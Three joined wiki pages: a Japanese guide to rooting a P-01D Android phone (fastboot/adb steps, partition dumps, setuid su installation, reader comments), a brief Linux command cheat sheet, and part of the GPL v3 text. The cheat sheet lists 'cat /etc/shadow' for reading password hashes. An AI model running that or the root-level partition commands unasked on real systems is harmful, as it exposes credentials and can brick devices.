約70%以下だとUpdateを蹴られるようなので、ひたすら70%になるまで待つ。 ヒント!! CWM ADBドライバを入れてないことを想定しているので、[選択肢]2番。 入れている人は、[選択肢]1番 でもよい。 Step3: recovery書き戻し その① オリジナルrecovery を書き戻す。 選択1 Toolkitで(システムバックアップ)したひとは、メニュー#4「任意/純正リカバリの書き戻し」を選び、[選択肢]2番 (既定)を指定する。 選択2 手動で(起動パテのみバックアップ)したひとは、同じメニュー#4 を選び、[選択肢]1番「任意の recovery を書き込む」で対応する。 その② fastbootモードにして、boot.img で再起動させる。 (CWMループをさせずに、本体OSを再起動させるため。) Toolkit のメニュー#1「shell root で作業」を選び、[選択肢]1番 (既定)で。 「お手軽コマンド早見一覧~」とか出ても気にしない。 P-01D が起動すればよい。 Step4: Update開始 「機能バージョンアップ」>「microSDから更新」を選択すると、 再起動してUpdateが始まるはず、祈りながら待つ。 Good Luck 本体の設定から Update を再実行させるところがポイントか。 例のリカバリフラグを初期化、再セットすると思われ。 Step5: 続き 設定>端末情報>機能バージョンアップ>サーバーから更新>設定 の「自動検索」のチェックをはずしてあるか確認!! Updateが終わったら、気を緩めずにすかさず CWMを再導入、バックアップを取ること。 Good Luck StepXX: 手動作業したいひと向け Toolkit をインストしたフォルダ(例 c \P1 )の中の toolsフォルダに、作業に必要なファイルは全て入っています。 手動で作業する場合は、c \ cd P1\tools\ と打って、カレントディレクトリを移動しておきます。( ; はコメント行) ◆ Step2 その② 実行例 : 前述 bootloader mode の入り方 ② の手順で fastbootモードにしてから、次を実行する。 c \ cd P1\tools c \P1\tools\ fastboot boot boot.img c \ cd P1\ ; Toolkitが使えるディレクトリに戻す ◆ Step3 その① 実行例 c \ cd P1\tools c \P1\tools\ adb wait-for-device c \P1\tools\ adb shell "flash_image recovery /mnt/sdcard/mtd6.bin" c \ cd P1\ ; Toolkitが使えるディレクトリに戻す ◆ Step3 その② 実行例 c \ cd P1\tools c \P1\tools\ adb wait-for-device c \P1\tools\ adb reboot bootloader ; しばし待つ c \P1\tools\ fastboot boot boot.img c \ cd P1\ ; Toolkitが使えるディレクトリに戻す 応用5: 起動パテの「追っかけ」バックアップ 永久root取得後に、↓ をコピペして REC_M.BAT で保存。それをToolkitのフォルダ(例 c \P1\tools)にコピー。 c \ cd P1\tools でカレントディレクトリを移動する。コマンドプロンプトから REC_M.BAT を実行する。 REC_M.BAT @echo off adb kill-server adb kill-server adb wait-for-device adb shell su -c "dd if=/dev/mtd/mtd0 of=/mnt/sdcard/boot_org.img bs=4096" adb shell su -c "dd if=/dev/mtd/mtd7 of=/mnt/sdcard/recovery_org.img bs=4096" adb pull /mnt/sdcard/boot_org.img adb pull /mnt/sdcard/recovery_org.img end ヒント!! CWMリカバリ導入後は mtd6 が書き換わっているので、オリジナルmtd6 と同一イメージの mtd7 を代替でバックアップする。 チャレンジ編(ちょいガンバレ) チャレンジ1: APK Multi-Tool の使い方 ヒント APK Multi-Tool で framework-res.apk や Settings.apk が改変できない場合があるので、その対処方法 コンパイルの途中で KEEPフォルダから手動で削除すべきファイル (修正が反映されない・・の対応) KEEPフォルダは、コンパイル時に「APK Multi-Toolをインストしたフォルダ直下」に作られ、作業終了後に削除される。 1)xml を弄ったとき: resources.arsc 2)java を弄ったとき: classes.dex v1.0.3 固有の Script.bat バグ修正 (ファイルサイズが倍増し文鎮化・・の対応) "keep/*" => "./keep/*" 1カ所 置換する "projects/temp/*" => "./projects/temp/*" 2カ所 置換する DLリンク先: APK Multi-Tool用 私家版 Script.bat改 チャレンジ2: CWMバックアップ( *.yaffs2.img)の利用 その① CWMバックアップで出来た system.yaffs2.img や data.yaffs2.img などを解凍して、中のファイルを利用できます。 Win版バイナリの unyaffs.exe ( Windowsバイナリ unyaffs でググル)で解凍できます。 その② この解凍ファイル群は、チャレンジ4 の「CWMリカバリ用ZIP作成キット」に使えるよ、見てね。 チャレンジ3: Toolkitバックアップ( system.tgz)の利用 その① Toolkit メニュー#6 システムのリストア で、system.tgz のリストアができます。 その② チャレンジ4 の「CWMリカバリ用ZIP作成キット」に使えるよ、見てね。 その③ system.tgz から、(消しちゃった)アプリを取り出す。 7Zファイラ など tgz が扱えるファイラーを使う。 system.tgz 中の /system/app/ にいっぱい入っているから、欲しいファイルをファイラで取り出す。 チャレンジ4: CWMリカバリ用ZIP作成キット 一度ZIP化しておくと、弄りたいとき 7zファイラ を使って簡単に削除・追加・上書きができます。 必要に応じ、お好きなようにシステムをカスタマイズできます。 なんちゃってカスタムROM風!! Toolkit メニュー#2で取得した system.tgz が使えます( _system_.tgz にrename) CWMバックアップの system.yaffs2.img も使えます。 チャレンジ2: *.yaffs2.img の利用 参照 ① _system_.tgz の中身を \Tane\~ に、2段階で解凍します。 tgz を tar玉 に解凍 7za x -bd _system_.tgz tar玉 を \Tane\~ に展開 7za x -bd _system_.tar -o".\Tane" Toolbox と Busybox のシンボリックリンクはインスト時に自動生成されるので、 ここで展開されたシンボリックリンクは、この段階で削除しておきます。(ダブリ) ② ZIPでGo 7za a -bd CWM_Inst.zip ".\Tane\*" DLリンク先: F-12C・P-01D専用 CWMリカバリ用ZIP作成キット(GB用) DLリンク先: 7zファイラ コマンド操作編(adb shell) 一時root で adb shell の勧め c \ cd P1\tools でカレントディレクトリを移動する。 コマンドプロンプトから boot.bat を実行し、[選択肢]1番 を選ぶ。 一時root でシステムが再起動するので、コマンドプロンプトから adb shell やBATを実行。 ヒント!! Toolkit メニュー#1「shell root で作業」だと、shell が起動済みなのでBATが使えない。( exit するとメニューに戻ってしまう) adb shell で弄りたいひと向けコマンド集(ファイル操作 を抜粋) Android OSの中身は実質Linuxなので使うコマンドは当然Linuxベースです。使ったことがない人はPC1台をLinuxにしてみるといい。 注意点として、Windowsのfile名は大文字と小文字の区別はありませんが、Linux(Android)の場合はファイル名の大文字・小文字を区別して入力しないと認識しません。 例: Settings.apk cd (ディレクトリ変更) 絶対パスでいくなら先頭の/から入力する # cd /system/app ls (ディレクトリ内ファイル確認) 属性まで見るなら -l を追加 # ls /system/app # ls -l /system/app rm (削除) ディレクトリを消すなら -rを追加。 *で全削除になるがディレクトリの位置を把握してからやるように。 位置次第ではOSがふっ飛びます # rm -r /data/dalvik-cache/* /data/dalvik-cache/ディレクトリより下( dalvik-cacheフォルダ自身は含まない)をすべて消す(所謂 dalvikキャッシュ消去) cp (コピー元ファイル) (コピー先ファイル) # cp /mnt/sdcard/example.apk /system/app/example.apk 実装されていない機種が多いが、cat または dd で代替できる。 cat (コピー元ファイル) (コピー先ファイル) # cat /mnt/sdcard/exsample.apk /system/app/exsample.apk cp が実装されていない場合に、cpコマンドの代わりに使う。 dd if=(コピー元ファイル) of=(コピー先ファイル) # dd if=/mnt/sdcard/exsample.apk of=/system/app/exsample.apk cp が実装されていない場合に、cpコマンドの代わりに使う。 # dd if=/dev/mtd/mtd6 of=/mnt/sdcard/mtd6.bin bs=4096 dd はコピー元に パーティション も指定できる chmod (権限の変更) # chmod 644 /system/app/exsample.apk mv (ファイル名変更/移動) # mv /system/app/Settings.apk /system/app/Settings.org.apk この場合はSettings.apkをsettings.org.apkにリネーム # mv /system/app/Settings.apk /mnt/sdcard/ この場合はSettings.apkをSDカードのルートディレクトリに移動 ※ ユーザコマンドの実行は、カレントディレクトリであっても明示的に ./flash_image とするみたい。( ./ カレントディレクトリ) ※ P-01D ROMに入っているコマンド抜粋: cat cd chmod chown dd exit ln ls mkdir mount mv reboot rm sync おまけ編(ちょい補足) おまけ1: SUバイナリ の相性 ヒント!! 最近この手の報告がないので、最新版に上げちゃってもよいのかも。 ちなみに、ES File Explorer はv3.2でもOK。 Toolkit rev6 で [選択肢]3番 旧バージョンのインストール (DooMLoRD_v4_ROOT 互換) を選んだひとはOK。 但し、GooglePlayで「superuser」アプリのアップデートを行わないこと。 しちゃったひとは「SUのバージョンアップ」を行わないこと。 Toolkit rev5b からSUバージョンを変更していますが、Titanium や SetCPU と相性が悪いとP-01D rootスレ、他機種スレで報告有り。 Titanium、ESファイルエクスプローラでは、取りあえず「USBデバッグモード」をONのままにしておけばよい。 SetCPU は、SUのバージョン下げるしかなさげ。 SetCPU使うくらいのひとなら下記は行けますよね。( ; はコメント行) superuser アプリで「SUのバージョンアップ」を行わないこと。 相性の悪い SU v3.1.1 がインストールされてしまいます。 c \ adb push su /mnt/sdcard/ ; SU v3.0.3.2 を強く推奨、SD Cardに一時的にコピー c \ adb shell $ su ; $プロンプト の時のみ入力、既に # になっているときはスキップ # mount -o rw,remount /system /system ; 念のため # dd if=/mnt/sdcard/su of=/system/bin/su # chown root.root /system/bin/su ; root.root にしないとSU昇格できないみたい # chmod 06755 /system/bin/su # rm /system/xbin/su # ln -s /system/bin/su /system/xbin/su # reboot ; 祈る Superuser公式配布ページ(旧版の場所) ファイルは su-bin-3.0.3.2-efghi-signed.zip ZIPの中 \system\bin\ にある su (22,364バイト 2008/02/29 02 33 46)が v3.0.3.2 です。 おまけ2: Toolkit rev4a rev5 だったひとへ システムのバックアップ に失敗した人、SDのformat 待った~。 rev4a rev5 はPCにバックアップファイルをコピーするところで失敗していたので、SD Card の中にファイル残ってますよ。 USBストレージモードにして、SD Card の /p01d/ の中身を、とりあえずPCの任意のフォルダに全部コピー。 system.tgz ・ mtd0.bin ・ mtd6.bin これ以外にもたくさんあると思いますが、最低この3つあればよい。 再インストールが 面倒 なひとは、Toolkitを展開したフォルダ(中にtoolsフォルダがあるはず)に temp と output フォルダを作ればOK。 おまけ3: CWM(ClockworkMod)バックアップフォルダの中身 SDカード /mnt/sdcard/clockworkmod/backup/2013-03-02.12.34.56 =日時のフォルダ名。 ↓ は、SDカードを抜いてPCで見る or USBマスストレージモードで直接見た例。(P-01Dの場合) \2013-03-02.12.34.56 のディレクトリ 2013/03/24 10 32 DIR . 2013/03/24 10 32 DIR .. 2013/03/02 02 40 9 .android_secure.vfat.dup 2013/03/02 02 39 10,485,760 boot.img 2013/03/02 02 40 27,456 cache.yaffs2.img 2013/03/02 02 40 28,767,552 data.yaffs2.img 2013/03/02 02 41 302 nandroid.md5 2013/03/02 02 39 15,728,640 recovery.img 2013/03/02 02 40 331,575,552 system.yaffs2.img \2013-03-02.12.34.56 type nandroid.md5 e6aa3e31fd117a0d4a54e7f5d2b9383b boot.img db574ccf81a3de76688dea0162fbbe22 cache.yaffs2.img e67d63de48c3e6d0ee8aefa9564e8bd2 data.yaffs2.img b5074be49531d63798d9aa901b87a2e8 recovery.img 70a6bc79878634e5592f89ad46758e2f system.yaffs2.img b2e036c6392f3cb754d0b31f8aa66414 .android_secure.vfat.dup 番外編 リンク集 Wikiの内容に関連した(してないかも?)、お役立ちなツールやアプリ等のリンクです、自己責任でよろしくどぞ。リンク切れてたらスマソ。 ① 一時root状態でのAPK個別消去パッチv0.02 バックアップ取ってある人だけ、やってよし。 MyROM を作るのが楽になるかも。 ② P-01D v0.68用 機内モード時WifiON パッチ(SettingsProvider.apk) readmeを読んでインストBATを起動してください。 弄ったのは SettingsProvider.apkの中 res/values/strings.xml パッチ仕様:機内モードにしたら、一旦 すべての通信を切る。そのあと、手動でWifi や BT をONにする。 r03は 番外編Tips① のデグレードが直っていますが、初期化すると戻ってしまうので SetupWizard.apk は必要。 ③P-01D 純正 v0.68用 Camera パッチ(PonyoCamera.apk) 1)露光補正の初期値 0 => -2 白飛び対策 2)露光補正が記憶されない => するように修正 CWMを起動してZIPインストールしてください。 CM9用ではない!! ④P-01D v0.68用 Settings.apk差分 1)MVNOテザ対応 2)○○解除可 3)自己解凍差分にて配布 番外編 Tips集 ① SetupWizard.apk を削除すると: ・ランチャーや一部のアプリで「Home」キーが効かなくなる ・電源キーメニューで「電源を切る」以外が出なくなる なので、GooglePlayを使わなくても SetupWizard.apk は残しておこう。 番外編リンク集② r03 をインストすると、このデグレードが直りますが、初期化すると戻ってしまうので SetupWizard.apk は必要。 コメント置き場 トップページ/P-01D/root の情報量が非常に多くなっており、個人的に読み辛く感じた為、toolkit等の初心者向けの情報を本項へ転記・分割しました。現時点で情報の重複はないと思いますが、こちらは初心者向けの情報を纏める方針で、情報重複等も気にせず追記頂けたらと思います。 -- www5216u (2012-09-10 23 09 05) トン。 気がつけばこんなに貯まってたんですね。 -- 名無しさん (2012-09-10 23 20 12) 5. root の取得 - 3. スキップ ってやると permission denied が何行も出てダメだったから,1. デバッグ接続 にしたらうまくいった.「~取得しています」が出ていたことは確認している.一応報告. -- hoge (2012-10-04 10 38 38) 直前のCWM導入でfastboot起動するのでshell root解除となるが、取得済みのままになっているようです。 -- 名無しさん (2012-10-06 00 30 46) 私の勘違いのようで「~一度以上取得しています」≠Shell root状態=スキップ可 です。直しました。 -- 名無しさん (2012-10-06 04 43 24) CWMループから抜け出せました!ありがとう! -- 名無しさん (2012-10-15 10 49 47) 先に追記して頂いた部分を少しアレンジさせて貰いました。どうかご容赦下さい。 -- toshi (2012-10-21 02 23 37) おお、コマンド行とか格好よくなってる。 実はマネしたかったけど、どうやるか分かんなくて。 トン。 -- toshi (2012-10-21 18 54 14) おお、行頭スペースだったのか。 元テキスト見ても分からんわけだ。 -- toshi (2012-10-21 19 26 40) 07.0087.0062ぼバックアップって持ってる人いませんよね -- Zai (2012-11-16 13 00 40) はじめての人へエールを送っているのは、M岡さんだよね。 ならばついでに「なぜベス」も言っておく。 -- 名無しさん (2013-01-26 07 48 52) 一時root状態でのAPK個別消去パッチを作ってみたんだけどどこに置けばいいのかの? -- 名無しさん (2013-06-05 00 54 00) 取りあえず、リンクだけ張り付けてみました。 -- toshi3 (2013-06-08 19 52 34) リンクサンクスっす -- 名無しさん (2013-06-09 09 56 17) SD -- 名無しさん (2013-07-10 23 54 55) 超初心者です。root化出来ました。ありがとうございます。ところで、プリインアプリを消していたら(その前後?)SDカードの不具合が起きました。SDの中身を全消ししても平気ですか?(root化は、本体の書き換えのみで、SD自体にはバックアップ等だけで影響ない?)ちなみに、システムバックアップ・CWM(日付のフォルダ)は取っ手ありますが、他のはとってません。 -- 名無しさん (2013-07-11 00 01 42) すみません、名無しのままでした…(超初心者~) -- taka (2013-07-11 00 03 11) バックアップさえPCに取ってあれば平気、ただ別のSDにしたほうがいいかもね。 -- 名無しさん (2013-07-11 23 11 43) コメントありがとうございます。すごくバカなことかもしれませんが、root化する=本体の中身を書き換える事であって、sdの中身はバックアップを出力したりするだけの物という認識で間違いないですか?sdカードは携帯からのフォーマットができなくなっているようなので(アンマウントしかボタンが反応しない)買い替えを検討します。 -- taka (2013-07-12 13 48 43) アンマウントさせると、「データを消去」が押せるようになってるが、そうならないのかな? -- 名無しさん (2013-07-13 14 16 23) コメントありがとうございます -- taka (2013-07-14 17 38 47) 今までアンマウントさせずに電源落として抜いていたので気が付きませんでした!アンマウントを選択すると、データ消去の項目が有効になりました!ちょっと試してみます!助かりました! -- taka (2013-07-14 17 41 29) 度々の書き込みで申し訳ありません。データの消去が出来ました!そのあとも、SDを正常に認識したようです!再度、パーテーション区切ったりデータ移動させたりと頑張ります!ありがとうございました! -- taka (2013-07-14 17 44 42) 再び失礼します。SDの第二パーテーションをExt3・2などで作って複数回挑戦しましたが、Link2sdでRestart appとはじかれてしまいました。やはり、sdに問題があるのでしょうか…。PCでは正常に反応しているSDでも、この場合はsdを新しくした方がいいですか? -- taka (2013-07-15 00 22 06) スマソ、Link2SD使ったことがないので、ググってみてや。 -- 名無しさん (2013-07-15 11 23 29) ループするようになったのでリストアという項目を実行したら、バックアップが先だったようで文鎮化しました 初心者にはまだ早かったようですね・・・ -- 名無しさん (2013-10-31 01 30 42) poidは文鎮にならないぞ。但しバックアップファイル無いのは致命的、rootスレで優しい人がうpしてくれてた。-- 名無しさん (2013-11-02 13 11 27) P-01DのABDドライバってどこにあるのでしょう?公式サイトにはもう何もないので、、、(;^_^A -- ド初心者 (2022-07-02 15 54 19) 名前 コメント 以下広告
https://w.atwiki.jp/ghostwind/pages/48.html
ユーザのホームディレクトリを変更 usermod -d {新たなホームディレクトリのパス} {ユーザ名} ファイルの中身を空にする 複数のコマンドを単一行で実行することでコマンド履歴からの再利用が効率的になる。 rm -f {ファイル名}; touch {ファイル名} リアルタイムでログを監視 tail -f /var/log/messages パスワードリストの表示 cat /etc/shadow プロセスの強制終了 kill -s SIGKILL {PID番号} システムの終了 shutdown -h -q now または halt システムの再起動 shutdown -r -q now または reboot 特定プロセスの起動を確認 ps -auxw | grep {検索文字列}
https://w.atwiki.jp/system_ce/pages/16.html
GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright © 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers and authors protection, the GPL clearly explains that there is no warranty for this free software. For both users and authors sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. “This License” refers to version 3 of the GNU General Public License. “Copyright” also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. “The Program” refers to any copyrightable work licensed under this License. Each licensee is addressed as “you”. “Licensees” and “recipients” may be individuals or organizations. To “modify” a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a “modified version” of the earlier work or a work “based on” the earlier work. A “covered work” means either the unmodified Program or a work based on the Program. To “propagate” a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To “convey” a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays “Appropriate Legal Notices” to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The “source code” for a work means the preferred form of the work for making modifications to it. “Object code” means any non-source form of a work. A “Standard Interface” means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The “System Libraries” of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A “Major Component”, in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The “Corresponding Source” for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work s System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work s users, your or third parties legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program s source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to “keep intact all notices”. c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an “aggregate” if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation s users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A “User Product” is either (1) a “consumer product”, which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, “normally used” refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. “Installation Information” for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. “Additional permissions” are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered “further restrictions” within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An “entity transaction” is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party s predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A “contributor” is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor s “contributor version”. A contributor s “essential patent claims” are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, 